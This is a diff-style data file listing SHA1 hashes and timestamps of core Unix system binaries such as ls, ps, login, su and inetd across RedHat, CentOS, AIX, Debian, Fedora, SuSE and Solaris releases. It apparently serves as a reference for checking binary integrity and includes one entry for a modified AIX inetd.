+4ACC35E83D01E9EA1C983F1905333FD6A28F16F4 Thu Sep 3 18:09:22 2009 /usr/bin/find [RedHat Enterprise 5.6] +9F61A3307F410D03B4D887603C0636EE49F495C4 Wed Jan 20 10:43:02 2010 /bin/login [RedHat Enterprise 5.6] +7DBCDF6616C9E320572FE36B02BF9E276513DDCF Tue Jan 26 23:43:34 2010 /sbin/arp [RedHat Enterprise 5.6] +B1DC52ADA700C1E2EB8B1A47BCE5BED583436587 Tue Jan 26 23:43:34 2010 /bin/netstat [RedHat Enterprise 5.6] +C1C4C38E77100879309D6F8B1E44524AA6489579 Sun Feb 28 22:33:18 2010 /bin/su [RedHat Enterprise 5.6] +AE5060A43228FF00D005BB494367EF5C38826B8F Sun Feb 28 22:33:21 2010 /bin/rm [RedHat Enterprise 5.6] +033D3CD22A94022B89F239497BFD9FE10F044E1D Sun Feb 28 22:33:21 2010 /bin/ls [RedHat Enterprise 5.6] +1F30594A9285A825E69BA7B9F011E4CBC2E8025C Wed Mar 31 04:53:48 2010 /usr/bin/w [RedHat Enterprise 5.6] +60E1A63B01621423CEFD78388CBC560019A71D2D Wed Mar 31 04:53:49 2010 /bin/ps [RedHat Enterprise 5.6] +78AC8D56103EA5D8F5216803F8D598F0DBEC9452 Wed Mar 31 07:08:49 2010 /sbin/modinfo [RedHat Enterprise 5.6] +C907002D0FC9619A0217460D3E9B9DC663FC9A1F Thu Jan 22 01:14:14 2009 /bin/sh [RedHat Enterprise 5.6] + +AEFDE5EDDB2C95D3E648FC6F2DC49D8F45C37413 Sun Jan 7 01:35:59 2007 /sbin/arp [CentOS 5.1 x86_64] +FC80A398349F4C26C12A46A0677DE445754DCCDB Sun Jan 7 01:35:59 2007 /bin/netstat [CentOS 5.1 x86_64] +C384F89DB92E1B267CD0DAD211A4243FC41CAB92 Sun Jan 7 12:20:15 2007 /usr/bin/find [CentOS 5.1 x86_64] +994C43C02043D9DB8EE8ECC34ABC30C4673BDD03 Wed Mar 14 23:01:13 2007 /usr/bin/w [CentOS 5.1 x86_64] +5E4C7F429A0C0D83C9839D3CEE567D2AA3855730 Wed Mar 14 23:01:13 2007 /bin/ps [CentOS 5.1 x86_64] +DB4216FBE5C3C984E8848EAAADA0AAAAE9AA50B3 Thu Mar 15 01:46:12 2007 /usr/bin/telnet [CentOS 5.1 x86_64] +299BE90CE120D677DD82C4CA4F5CF15EF1FA10AE Wed Mar 21 21:19:15 2007 /bin/su [CentOS 5.1 x86_64] +4FCD92326100CF4A805F87789FC9BE7501D2DE71 Wed Mar 21 21:19:18 2007 /bin/rm [CentOS 5.1 x86_64] +0BB40223BDD069BA08193A6E7B6F01F45F8AF94F Wed Mar 21 21:19:18 2007 /bin/ls [CentOS 5.1 x86_64] +5C5E8C8169A27D9F929BB2D6E92C000B9905E718 Sat Nov 10 13:08:34 2007 /bin/login [CentOS 5.1 x86_64] +6754C6A6BDAD33A82E107B0D67B8D806AC6F045F Sun Nov 11 01:57:30 2007 /sbin/modinfo [CentOS 5.1 x86_64] +36CA3447E2D81E2239285B495559C50FFDD10BD7 Sat Jan 6 04:22:43 2007 /bin/sh [CentOS 5.1 x86_64] + +98B9D321E348177CF330E0604D59BED0EB4E2FF8 Tue Nov 23 17:08:05 2004 /bin/rm [AIX 5.3] +98B9D321E348177CF330E0604D59BED0EB4E2FF8 Tue Nov 23 17:08:05 2004 /usr/bin/rm [AIX 5.3] +6FBB6DF431B252522CB6125E38BA4E60C6524D74 Tue Feb 6 16:28:16 2007 /bin/ls [AIX 5.3] +6FBB6DF431B252522CB6125E38BA4E60C6524D74 Tue Feb 6 16:28:16 2007 /usr/bin/ls [AIX 5.3] +5166D0A317E169E7F728377CF50C2CD3C7729D4B Tue Feb 6 23:02:45 2007 /bin/w [AIX 5.3] +5166D0A317E169E7F728377CF50C2CD3C7729D4B Tue Feb 6 23:02:45 2007 /usr/bin/w [AIX 5.3] +BCDE5A7BE9B2C4FCD8D1BA5F6A23C7E8AD727125 Tue Feb 6 23:43:12 2007 /usr/sbin/arp [AIX 5.3] +61224C039DA1CCFA45EE6500623914897F28DCF9 Thu Feb 8 02:52:48 2007 /usr/sbin/inetd [AIX 5.3] +C1D1FD891F975D4368F41E90796912758F457555 Thu Feb 8 03:33:44 2007 /usr/sbin/krlogind [AIX 5.3] +872BCE599F06B673C90BCD2A8F7D6938F7564C10 Thu Feb 8 03:33:32 2007 /bin/telnet [AIX 5.3] +872BCE599F06B673C90BCD2A8F7D6938F7564C10 Thu Feb 8 03:33:32 2007 /usr/bin/telnet [AIX 5.3] +0A7EA67D00BB377BF8029CD37A80870C26549796 Thu Feb 8 03:33:41 2007 /usr/sbin/rlogind [AIX 5.3] +8C3D0B0654D7C18CD20D75D8ADEAC6EFE37F99B1 Thu Feb 8 03:33:42 2007 /usr/sbin/telnetd [AIX 5.3] +43DEC4224F427869DD80FD4592E94556233BE155 Thu Feb 8 03:33:43 2007 /usr/sbin/tftpd [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /usr/sbin/login [AIX 5.3] +14908F9394284BCA6E936CD8A04D862204386B7A Sun Feb 11 17:19:01 2007 /bin/su [AIX 5.3] +14908F9394284BCA6E936CD8A04D862204386B7A Sun Feb 11 17:19:01 2007 /usr/bin/su [AIX 5.3] +E6E9F93E05BB21DFC201A24907DA010B8CCBA2A6 Sat Mar 10 08:11:20 2007 /bin/find [AIX 5.3] +E6E9F93E05BB21DFC201A24907DA010B8CCBA2A6 Sat Mar 10 08:11:20 2007 /usr/bin/find [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /usr/sbin/netstat [AIX 5.3] +341F58858948F57B59755FAFBC379C9185233018 Fri Mar 23 15:57:50 2007 /usr/sbin/krshd [AIX 5.3] +7916ACE364465D913F9E345FA82B1407E58DFC31 Fri Mar 23 15:57:43 2007 /usr/sbin/rshd [AIX 5.3] +F98385E8FE9572E9BA8C5D5FBEEB76B29E119B8F Wed Apr 11 16:55:16 2007 /usr/sbin/ftpd [AIX 5.3] +F2BADA6D9F40ECF97594B366C31DA0581306DDEC Wed Apr 11 17:50:24 2007 /bin/ps [AIX 5.3] +F2BADA6D9F40ECF97594B366C31DA0581306DDEC Wed Apr 11 17:50:24 2007 /usr/bin/ps [AIX 5.3] +58E5BC5BB8F82B71C81195A9E45FB31FE724BB67 Thu Apr 19 03:58:06 2007 /bin/sh [AIX 5.3] +58E5BC5BB8F82B71C81195A9E45FB31FE724BB67 Thu Apr 19 03:58:06 2007 /usr/bin/sh [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /bin/login [AIX 5.3] +E7E6D19861153EB2923B59566F65A6E23EDB62F7 Sun Feb 11 17:16:26 2007 /usr/bin/login [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /bin/netstat [AIX 5.3] +46B7EBC43C41562AB6E9DCDC67BF4165D10C81F6 Sat Mar 10 23:12:09 2007 /usr/bin/netstat [AIX 5.3] + +B5421C7136BA8A71EBAC16189B1E0F4B3F493268 Sat Mar 18 23:29:36 2006 /usr/sbin/arp [Debian 4.0 x86_64] +6592B55B5AEB7549D8D166354B25D575C9FE27FA Sat Mar 18 23:29:36 2006 /bin/netstat [Debian 4.0 x86_64] +6107A180159C275812E934CBF9B27053719F5373 Sun Aug 6 08:38:05 2006 /usr/bin/find [Debian 4.0 x86_64] +6780289A1753F1626EC399EB7D80EEDA9F85838B Wed Sep 13 02:23:18 2006 /bin/ps [Debian 4.0 x86_64] +9968A881BAF76776C9CAB5E0FF3F23E3D3A29618 Tue Jan 30 20:38:21 2007 /bin/rm [Debian 4.0 x86_64] +529BF1A78A4FA66B00307CFE89E341FE3BEA28B3 Tue Jan 30 20:38:21 2007 /bin/ls [Debian 4.0 x86_64] +46C2766B217F3DCBC2010B6210CBADE6CFA01968 Sun Feb 18 18:49:14 2007 /sbin/modinfo [Debian 4.0 x86_64] +268609A5848AF29523939D01F8EAAB9D0FC2843B Tue Feb 27 19:13:08 2007 /bin/su [Debian 4.0 x86_64] +D47E3EFEBA54C6C7E55CCE4AB85FD415E15A6FDC Tue Feb 27 19:13:08 2007 /bin/login [Debian 4.0 x86_64] +FA27B8C451E665B87D8C193FF2B7EEBCF6E0127A Mon Mar 12 02:20:07 2007 /usr/sbin/update-inetd [Debian 4.0 x86_64] +999E3D77AB22BD35702FE9C155DEF77087D73AA5 Wed Mar 21 18:21:22 2007 /usr/sbin/inetd [Debian 4.0 x86_64] +53B60118A12EB129C584B58191CDFC2808169FC9 Mon Dec 11 22:28:19 2006 /bin/sh [Debian 4.0 x86_64] +B1B658F6D586E9931A5AC3BDC9E936442049E0A8 Wed Sep 13 02:23:18 2006 /usr/bin/w [Debian 4.0 x86_64] +742C78DB601AF885C66585D593E5A2FD672812A0 Sat Nov 18 09:37:30 2006 /usr/bin/telnet [Debian 4.0 x86_64] + +1E708BE90ADC1EC4BF14082E26BB545A4F730AFA Tue Feb 17 18:59:22 2004 /usr/sbin/xinetd [Fedora 2] +7007192E9C4B72C24E6A0EA3DF4278AE7526A5E8 Wed Feb 18 20:13:41 2004 /usr/bin/telnet [Fedora 2] +009CFC3C5E1A3F1BCD2E992619E3E62E4C1A8570 Fri Mar 5 06:04:45 2004 /usr/bin/w [Fedora 2] +6540C6C30B279D372233D0A549029054C04BC76D Fri Mar 5 06:04:44 2004 /bin/ps [Fedora 2] +81792E0FCC14C5BB86F3BC45F12BD96EC20016E2 Mon Mar 15 22:02:01 2004 /usr/bin/find [Fedora 2] +4C82AE542D0F48641E91876AA57FF6AD7E5B1247 Thu Apr 15 16:08:06 2004 /sbin/arp [Fedora 2] +AC1996350D770D7F2E6C29571E2448E8539CFB12 Thu Apr 15 16:08:06 2004 /bin/netstat [Fedora 2] +31639278A178E591DF0BF9B99516E89F52C6D864 Tue May 4 16:25:57 2004 /bin/su [Fedora 2] +49CC82CCFABB3E94D109FB91E6F5F5DDD4DB97C2 Tue May 4 16:26:05 2004 /bin/rm [Fedora 2] +754B0CDD2D9FED234A8D9964D45DB46504110694 Tue May 4 16:26:05 2004 /bin/ls [Fedora 2] +723D4A0904D1B71EA2F851DCB5407DB4CA6E98A4 Tue May 4 21:34:53 2004 /bin/login [Fedora 2] +7626975F9C94F1689371C54DB6405D4102952631 Wed May 5 05:38:36 2004 /sbin/modinfo [Fedora 2] +68E5D269191506A40163D6A2F0717B4F9959227A Thu Mar 11 11:19:36 2004 /bin/sh [Fedora 2] + +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /bin/login [AIX 5.1] +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /usr/bin/login [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /bin/netstat [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /usr/bin/netstat [AIX 5.1] +D0B7A8655F67E58C395CD0AFD6340A34743C919F Sun Apr 8 09:18:42 2001 /bin/su [AIX 5.1] +D0B7A8655F67E58C395CD0AFD6340A34743C919F Sun Apr 8 09:18:42 2001 /usr/bin/su [AIX 5.1] +29854B935D9937CC95C4C443D129D4ABB9314D83 Sun Apr 8 09:30:53 2001 /usr/sbin/arp [AIX 5.1] +D48E2BFB35955DEB7927EFFC5DFB47A5B4F0DAC6 Sun Apr 8 09:35:51 2001 /bin/ps [AIX 5.1] +D48E2BFB35955DEB7927EFFC5DFB47A5B4F0DAC6 Sun Apr 8 09:35:51 2001 /usr/bin/ps [AIX 5.1] +87F92DAE2CA7C2BB075D30224767CB361825A935 Sun Apr 8 09:44:19 2001 /bin/sh [AIX 5.1] +87F92DAE2CA7C2BB075D30224767CB361825A935 Sun Apr 8 09:44:19 2001 /usr/bin/sh [AIX 5.1] +434DF292C74FD538004376549ACDDDC374D3B8F8 Sun Apr 8 09:50:58 2001 /bin/find [AIX 5.1] +434DF292C74FD538004376549ACDDDC374D3B8F8 Sun Apr 8 09:50:58 2001 /usr/bin/find [AIX 5.1] +1C4935662987B9D9EB8550C5471DBA44F1DE4580 Sun Apr 8 09:50:12 2001 /bin/rm [AIX 5.1] +1C4935662987B9D9EB8550C5471DBA44F1DE4580 Sun Apr 8 09:50:12 2001 /usr/bin/rm [AIX 5.1] +D695273DBE35988DEC20364DEEEEB2B865E581CC Sun Apr 8 10:03:15 2001 /usr/sbin/netstat [AIX 5.1] +DCD3D5E6281879BBB1DA30E51620933A791C2D88 Sun Apr 8 10:03:37 2001 /bin/w [AIX 5.1] +DCD3D5E6281879BBB1DA30E51620933A791C2D88 Sun Apr 8 10:03:37 2001 /usr/bin/w [AIX 5.1] +40A0C2A98FE0996649053FCC94DA0B6158C09868 Sun Apr 8 10:13:59 2001 /bin/ls [AIX 5.1] +40A0C2A98FE0996649053FCC94DA0B6158C09868 Sun Apr 8 10:13:59 2001 /usr/bin/ls [AIX 5.1] +D4043EA87F013D191C66351294CE37BA34844ED8 Sun Apr 8 10:20:46 2001 /usr/sbin/login [AIX 5.1] +9A2E54B4218523D49C9F3067BE816527DFA3E539 Sun Apr 8 12:42:54 2001 /bin/telnet [AIX 5.1] +9A2E54B4218523D49C9F3067BE816527DFA3E539 Sun Apr 8 12:42:54 2001 /usr/bin/telnet [AIX 5.1] +64B56243AF056DC313D55D544F3F6C3F9573900F Sun Apr 8 12:45:21 2001 /usr/sbin/rlogind [AIX 5.1] +522D9D013A00AD419EB990E0BC651836C5D38A7B Sun Apr 8 12:45:06 2001 /usr/sbin/ftpd [AIX 5.1] +F236BD5B1C6906944115DA48EAE4F8CEF1819344 Sun Apr 8 12:46:27 2001 /usr/sbin/telnetd [AIX 5.1] +F6685922DC8B55B642285CC67584C92FFB64BAE7 Sun Apr 8 12:47:31 2001 /usr/sbin/krlogind [AIX 5.1] +8EBA5F0B21232178803295C47D3AC844999A5688 Sun Apr 8 12:47:21 2001 /usr/sbin/tftpd [AIX 5.1] +24D69543038C368A3DA7D43952C93BE366B781A6 Sun Apr 8 12:48:19 2001 /usr/sbin/rshd [AIX 5.1] +497988E990E25B7512D2EE887A30E744E6605BEA Sun Apr 8 12:48:57 2001 /usr/sbin/krshd [AIX 5.1] +A6DC376B81619597F495BE594E5C612103377B15 Tue May 4 17:25:26 2010 /usr/sbin/inetd [AIX 5.1 (dorked)] + +B7A2C960FD08C475D6724D8C7C9E1E54452CA423 Thu Jul 13 15:58:33 2006 /usr/bin/find [Fedora 6] +9248E4C55B85D9988E3285CEBAC8BECE224322AF Fri Jul 14 11:25:26 2006 /usr/bin/telnet [Fedora 6] +CAB725FC91D528CFFF2C50EB4854499541C811B2 Thu Aug 3 00:21:53 2006 /sbin/modinfo [Fedora 6] +59B5D186EC396D07FCFCA1FCA2210A0113B7DEA3 Mon Aug 7 11:18:31 2006 /sbin/arp [Fedora 6] +3F2AA0BCAFB3AE1E4D6B73D90691400BD8EF6A0A Mon Aug 7 11:18:31 2006 /bin/netstat [Fedora 6] +F4239C987D333F4D6BD1898D841E5BE4C6723AA8 Wed Sep 27 15:40:10 2006 /usr/bin/w [Fedora 6] +C8314C7251B1BD592058F2C9F71B5AFF0D723ED7 Wed Sep 27 15:40:09 2006 /bin/ps [Fedora 6] +B81965841649EFD2BB0CC3C992A77DB8267C0883 Thu Sep 28 12:32:17 2006 /bin/su [Fedora 6] +AF076AC18804AD90C90C8F00E5F5528294D7D250 Thu Sep 28 12:32:23 2006 /bin/rm [Fedora 6] +3CD5580459B8E7ABC3932BFB7E33EBCFA702F67B Thu Sep 28 12:32:23 2006 /bin/ls [Fedora 6] +3ADD39DBE5D21D6A75219FFDBF7A6313FDE5FA5B Thu Oct 12 10:14:43 2006 /bin/login [Fedora 6] +67FDB86FE423DFEB9F34423B648BF4D49DD1E607 Wed Jul 12 07:11:53 2006 /bin/sh [Fedora 6] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.3 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.3 x86_64] +B9919ED9D91FE984427EBE3A3E486EDC12A53AC4 Thu May 3 13:29:16 2007 /usr/bin/find [SuSE Enterprise 10.3 x86_64] +F9AB14F68DD8A5990226436E50C4610D52CE8AC1 Sat Sep 5 10:30:18 2009 /sbin/arp [SuSE Enterprise 10.3 x86_64] +71C1F800342C11E11860F49BD1FDEDB4A02527EB Sat Sep 5 10:30:18 2009 /bin/netstat [SuSE Enterprise 10.3 x86_64] +12EA11344F7FDED1D916E08890C5EE3DE1D437D2 Sat Sep 5 10:35:13 2009 /usr/sbin/xinetd [SuSE Enterprise 10.3 x86_64] +B4140D41278228EAF7329AF5861AA96CC30BB7C3 Sat Sep 5 10:36:46 2009 /bin/su [SuSE Enterprise 10.3 x86_64] +E49088C6F744B035477DAAE6ABF4F571FB24E44D Sat Sep 5 10:36:46 2009 /bin/rm [SuSE Enterprise 10.3 x86_64] +0F643DCCDDDD08564FDB025B379473AC9C112495 Sat Sep 5 10:36:46 2009 /bin/ls [SuSE Enterprise 10.3 x86_64] +3F0FFDDB5F150B1306F2359D1ABB01CFDC41E006 Sat Sep 5 11:11:30 2009 /bin/login [SuSE Enterprise 10.3 x86_64] +9B439F7267662C698EB81C024154EAECEC794A64 Sun Sep 6 22:11:52 2009 /sbin/modinfo [SuSE Enterprise 10.3 x86_64] +97E8E4CD45B0C83C577A90ABC1273F7FD3C6E0D3 Mon Sep 14 14:35:04 2009 /usr/bin/w [SuSE Enterprise 10.3 x86_64] +9156C5AF4A6AE53C8E54E38D6139984564D5D0AD Mon Sep 14 14:35:04 2009 /bin/ps [SuSE Enterprise 10.3 x86_64] +56098E13A39056983102B0157004164498F5F8DB Sat Sep 5 10:28:56 2009 /bin/sh [SuSE Enterprise 10.3 x86_64] +245C64AB0E7D074B2BA9460EA687EBBA116F2F60 Sat Sep 5 10:35:13 2009 /usr/sbin/rcxinetd [SuSE Enterprise 10.3 x86_64] + +DC294A39E6BEF72CCB7636D150A0EB06F769BBE9 Sat Jun 2 04:28:26 2001 /usr/bin/find [Debian 3.0] +6CB9FE0BB54A54C8CADBD19F7CE290314420DB7B Sat Oct 27 21:27:05 2001 /bin/ps [Debian 3.0] +CD892F35A19FF694DCFC8D34D99AE009F43ADBEA Sun Nov 18 14:09:04 2001 /usr/sbin/update-inetd [Debian 3.0] +B57C42B5859F76BE7A55BB6134D1EC825E2259E1 Sun Nov 18 22:29:26 2001 /usr/sbin/inetd [Debian 3.0] +66F39228743CACC02276CC57329A5A0812BF9B15 Sat Nov 24 05:59:16 2001 /usr/sbin/arp [Debian 3.0] +7C1B3DF2A3760FCEF4EF19182F60A223CBCFBAB5 Sat Nov 24 05:59:16 2001 /bin/netstat [Debian 3.0] +1BF4677C61236901CA16F92EE94B714FC24FAFA3 Mon Mar 18 15:10:01 2002 /bin/rm [Debian 3.0] +D95601C5E00148BA6ECC8B567715E3F3A8F42FBA Mon Mar 18 15:10:01 2002 /bin/ls [Debian 3.0] +1C7A4596BC163483BB578A699A83AF5AD286542D Sun Mar 24 14:27:08 2002 /sbin/modinfo [Debian 3.0] +A63DD306549301D682DB8F9EBB7843135CE33C90 Sat Apr 6 23:42:16 2002 /usr/sbin/in.telnetd [Debian 3.0] +4ADB2455388512E759E86648C1719091E2A2845E Sun Apr 7 15:59:14 2002 /bin/su [Debian 3.0] +DA7E65615824609B181AF98115AD097DF27EE728 Sun Apr 7 15:59:14 2002 /bin/login [Debian 3.0] +FB2553B42DE2203EBA9A04A865F4BDE2A0C77E0E Thu Apr 18 09:19:26 2002 /usr/sbin/in.ftpd [Debian 3.0] +2F65573F55BA80DD8FAD67435E6F20D413357C28 Mon Apr 8 19:07:32 2002 /bin/sh [Debian 3.0] +CD358A85E8150B6C171C25748903E8FEC88DC14E Sat Oct 27 21:27:05 2001 /usr/bin/w [Debian 3.0] +17C10C8D8776A1074D52B4F7C4CE731E1EFD1107 Sat Apr 6 23:42:16 2002 /usr/bin/telnet [Debian 3.0] + +4522876648C2BD295095D6B0A051CC6063B1E2C8 Tue Sep 23 01:28:25 1997 /usr/sbin/in.tftpd [RedHat 5.0] +0DB3CDAEF3B2AB1618D2D327B8F1D80228A6964C Tue Oct 14 16:22:03 1997 /usr/sbin/in.rshd [RedHat 5.0] +CAE51054531E2760F20278833A729918772B5904 Tue Oct 14 16:22:03 1997 /usr/sbin/in.rlogind [RedHat 5.0] +9D6F6D4C09A2F3797A046A37DC93E3777BD64DA5 Thu Oct 23 01:36:01 1997 /bin/login [RedHat 5.0] +3C699964F17EE96CB428E445E55C89FAF05969D5 Thu Oct 23 01:52:27 1997 /bin/rm [RedHat 5.0] +6D47127BA7B756DB699CFBA418164B0A74576948 Thu Oct 23 01:52:27 1997 /bin/ls [RedHat 5.0] +230E6757934BDED017C026D13B32722CCAEA09D9 Thu Oct 23 02:04:22 1997 /sbin/arp [RedHat 5.0] +816D8546C786FB564C8C64988C18190606DB6702 Thu Oct 23 02:04:22 1997 /bin/netstat [RedHat 5.0] +5B0BF6910494A5F9803FEC2385FEC990F42C023F Mon Oct 27 16:30:03 1997 /bin/su [RedHat 5.0] +FC000D8F6DD66A98F7AAFAD667F094A6470CA889 Wed Oct 29 20:29:57 1997 /usr/sbin/in.telnetd [RedHat 5.0] +243C7B28A4328EBC49B39AE413EEFB63288EE435 Wed Oct 29 20:29:57 1997 /usr/bin/telnet [RedHat 5.0] +75812D32F72E56C7ED4CE3289E9C3B521ABB786D Thu Oct 30 15:43:52 1997 /usr/sbin/inetd [RedHat 5.0] +E4E5F95CB75011E9D58B4381C6416A5B2E1D3221 Fri Oct 31 22:08:40 1997 /usr/sbin/in.ftpd [RedHat 5.0] +9CF9654F9960A27562FFF8E7C5BCEEF2E4C6044D Tue Nov 4 15:20:55 1997 /bin/ps [RedHat 5.0] +BADD4232957FB8B5F34BBD63C7A7FADAA9B8EE55 Tue Nov 4 15:20:55 1997 /usr/bin/w [RedHat 5.0] +29209A24423498BB6EDBCF9A085F155DE7BC7F0A Sun Nov 9 23:24:43 1997 /usr/bin/find [RedHat 5.0] +48A9B236D43D6C3F3F3F4262A41599CB91D48F88 Fri Nov 7 19:13:27 1997 /bin/sh [RedHat 5.0] + +888F1AC6CF497C6A240420FE0F86C77141DF13DD Fri Sep 21 19:11:29 2007 /sbin/modinfo [SuSE 10.3 x86_64] +88E77B0F53ED4680178CA034F40BCF183C8CA863 Fri Sep 21 19:13:15 2007 /usr/bin/telnet [SuSE 10.3 x86_64] +F347BDCA827A5ECAF3067A863C4A0FBA7C3B91D3 Fri Sep 21 19:14:11 2007 /usr/bin/w [SuSE 10.3 x86_64] +AC487F08E40F1DB079D7EAA665EB9CDC5E7D6D68 Fri Sep 21 19:14:11 2007 /bin/ps [SuSE 10.3 x86_64] +045ED43371065359C0F33B2A676C10CF2AC0D60B Fri Sep 21 19:15:17 2007 /usr/bin/find [SuSE 10.3 x86_64] +8ED7EA60AB6C8AB1392F3264098F19D6FA0E09C7 Fri Sep 21 19:24:28 2007 /sbin/arp [SuSE 10.3 x86_64] +2335946717062AB143A0903EABE14D8DB73C60E7 Fri Sep 21 19:24:27 2007 /bin/netstat [SuSE 10.3 x86_64] +F4F2D4BFEAB8190A22D2F90E9D7EC138DC0DF852 Fri Sep 21 19:27:00 2007 /usr/sbin/xinetd [SuSE 10.3 x86_64] +E4F42A457E232C936740A0B54264F5AB25C7E26C Fri Sep 21 19:43:50 2007 /bin/su [SuSE 10.3 x86_64] +642FC1770A5AF3CC5FB0313BF4F00B377D59A5FD Fri Sep 21 19:43:50 2007 /bin/rm [SuSE 10.3 x86_64] +A4397EC9FF56B5362408E432CBDC7912960FD5B1 Fri Sep 21 19:43:50 2007 /bin/ls [SuSE 10.3 x86_64] +81909C216134962322DD092947731982A242DE92 Fri Sep 21 21:06:58 2007 /bin/login [SuSE 10.3 x86_64] +51E64C45FACA5E74EDFA7D1CD5AE07C8DD5C5D43 Fri Sep 21 19:23:27 2007 /bin/sh [SuSE 10.3 x86_64] +51E64C45FACA5E74EDFA7D1CD5AE07C8DD5C5D43 Fri Sep 21 19:23:27 2007 /usr/bin/sh [SuSE 10.3 x86_64] +5419E821FD9EE9856B1B8FDD7A9AD8CED9BD3FB4 Fri Sep 21 19:27:00 2007 /usr/sbin/rcxinetd [SuSE 10.3 x86_64] + +8A00C1AC83815BB77F832D1F40CE6A29BA299D86 Wed Dec 6 15:13:36 2006 /usr/sbin/xinetd [RedHat Enterprise 5.4] +5AA74B9F7D54174006AF12C6320018D7A1DE5DFA Wed Oct 24 14:05:17 2007 /usr/bin/telnet [RedHat Enterprise 5.4] +E0438A3A32C17BAB60BB4B2F0AA54D3331409101 Fri Apr 18 09:54:11 2008 /sbin/arp [RedHat Enterprise 5.4] +4627A1DD4C38E988D84520F456823CF40B6A56C2 Fri Apr 18 09:54:11 2008 /bin/netstat [RedHat Enterprise 5.4] +26BF46A9CC3D129EBBA5E81C4FE32A844E5C037F Wed Dec 3 10:32:54 2008 /usr/bin/w [RedHat Enterprise 5.4] +EA07C645BF69A428A3EE410301109EDE94229B1B Wed Dec 3 10:32:54 2008 /bin/ps [RedHat Enterprise 5.4] +EA8DFDE42204B43AABC508B91D3150CA3222101A Tue May 19 13:50:48 2009 /usr/sbin/in.tftpd [RedHat Enterprise 5.4] +0291A3AB25836070972937B233F6F825191D8201 Fri Jul 3 11:17:55 2009 /bin/login [RedHat Enterprise 5.4] +C64443E2096EB4D728427B822DF12465C62FAEA3 Sat Jul 4 02:36:20 2009 /sbin/modinfo [RedHat Enterprise 5.4] +820B7251149D3CB720A2934963FA2D20EA1152B8 Mon Jul 13 10:21:23 2009 /bin/su [RedHat Enterprise 5.4] +8B8212BFEB1F8E86621CA30B3BFB626847C02E5D Mon Jul 13 10:21:26 2009 /bin/rm [RedHat Enterprise 5.4] +3ECAA7D3EEA46B758DFEFE216ABE7EE23DED3AAB Mon Jul 13 10:21:26 2009 /bin/ls [RedHat Enterprise 5.4] +3393449850EA8B9A8347DC1BF6575A02C53B3877 Tue Jul 14 10:31:44 2009 /usr/bin/find [RedHat Enterprise 5.4] +2A684A10C8F17707A2B20C40738AC1C53883AE04 Tue Oct 21 12:13:16 2008 /bin/sh [RedHat Enterprise 5.4] + +01090DF56E8BB6958F549016B0162F83F2DBEC5A Fri Jun 16 13:58:52 2006 /usr/bin/telnet [SuSE Enterprise 10.0 x86_64] +C2A56DBC77E2366D4CA8B4253631D6087FE674B8 Fri Jun 16 14:16:11 2006 /usr/sbin/xinetd [SuSE Enterprise 10.0 x86_64] +0250A33BD46C74203072903427509730E86C290F Fri Jun 16 14:25:39 2006 /usr/bin/find [SuSE Enterprise 10.0 x86_64] +2DF0378E19ADD530EA0EC2C63C595B3E8F74DE56 Fri Jun 16 14:27:12 2006 /usr/bin/opieftpd [SuSE Enterprise 10.0 x86_64] +7562669FC11732D72145F2AA07F9BC8D00786334 Fri Jun 16 14:34:13 2006 /sbin/arp [SuSE Enterprise 10.0 x86_64] +8209995613567B78CA0CE055BB1488281D1A861C Fri Jun 16 14:34:12 2006 /bin/netstat [SuSE Enterprise 10.0 x86_64] +62A280100C1F817C1A2B77AE0D0A99A2C6DB4860 Fri Jun 16 14:37:14 2006 /usr/bin/w [SuSE Enterprise 10.0 x86_64] +C24AD2A3379460850A8B417DA9665EE0C32EC847 Fri Jun 16 14:37:14 2006 /bin/ps [SuSE Enterprise 10.0 x86_64] +C4390D7F5A0DDC0028CA90F8D8DD4BAAF11F2B8E Fri Jun 16 15:06:39 2006 /bin/su [SuSE Enterprise 10.0 x86_64] +7A43A75FAA192A4E8B40818B1BBFFE81F1C58F8E Fri Jun 16 15:06:39 2006 /bin/rm [SuSE Enterprise 10.0 x86_64] +D2987B580F54E9B907AB976D2DA870FC2569786C Fri Jun 16 15:06:39 2006 /bin/ls [SuSE Enterprise 10.0 x86_64] +EBADB96D583E82FEF8E95CFAA4F238AB9043E553 Fri Jun 16 17:49:29 2006 /sbin/modinfo [SuSE Enterprise 10.0 x86_64] +27F63D5C1893FFEE87767C3DECA49810833AC695 Fri Jun 16 18:11:07 2006 /bin/login [SuSE Enterprise 10.0 x86_64] +D3434A7FE4F90C0F1BAFEDE9B40FF0C39E02C04C Fri Jun 16 13:58:27 2006 /bin/sh [SuSE Enterprise 10.0 x86_64] +3474D7C0FE46C7C98D16A7CE975E0E2EA633478F Fri Jun 16 14:16:11 2006 /usr/sbin/rcxinetd [SuSE Enterprise 10.0 x86_64] + +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/ps [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /bin/w [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/ps [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/bin/w [Solaris 2.8 Generic_117351-53 x86] +9271C3B32FD39A6D13E400F13B6AEB85CFC0C45E Wed Jan 5 22:18:38 2000 /usr/ucb/ps [Solaris 2.8 Generic_117351-53 x86] +9C05ABE244AABF1B8775D4163ABA08583BFC04F3 Wed Jan 5 22:27:48 2000 /usr/sbin/arp [Solaris 2.8 